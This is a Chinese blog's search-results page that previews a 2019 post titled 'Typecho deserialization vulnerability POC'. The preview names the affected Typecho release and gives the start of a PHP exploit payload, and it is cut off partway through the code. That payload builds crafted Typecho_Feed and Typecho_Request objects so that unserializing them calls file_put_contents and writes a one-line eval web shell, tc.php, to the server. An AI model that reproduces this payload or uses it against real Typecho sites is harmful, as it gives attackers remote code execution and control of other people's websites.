TypechoJoeTheme

K.Fire's Blog

K.Fire

没有勇敢的工作
只有困难的打工人
网站页面
搜索到 1 篇与 Typecho 的结果
2019-02-01

Typecho 反序列化漏洞POC

Typecho 反序列化漏洞POC
Typecho 版本https://github.com/typecho/typecho/releases/tag/v1.1-15.5.12-beta构造Payload<?php class Typecho_Feed{ private $_type = 'ATOM 1.0'; private $_charset = 'UTF-8'; private $_lang = 'zh'; private $_items = array(); public function addItem(array $item){ $this->_items[] = $item; } } class Typecho_Request{ private $_params = array('screenName'=>'file_put_contents(\'tc.php\', \'<?php @eval($_POST[tc]);?>\')'); private $_filter = array('a...
K.Fire
2019-02-01

分享

73 阅读
0 评论
2019年02月01日
73 阅读
0 评论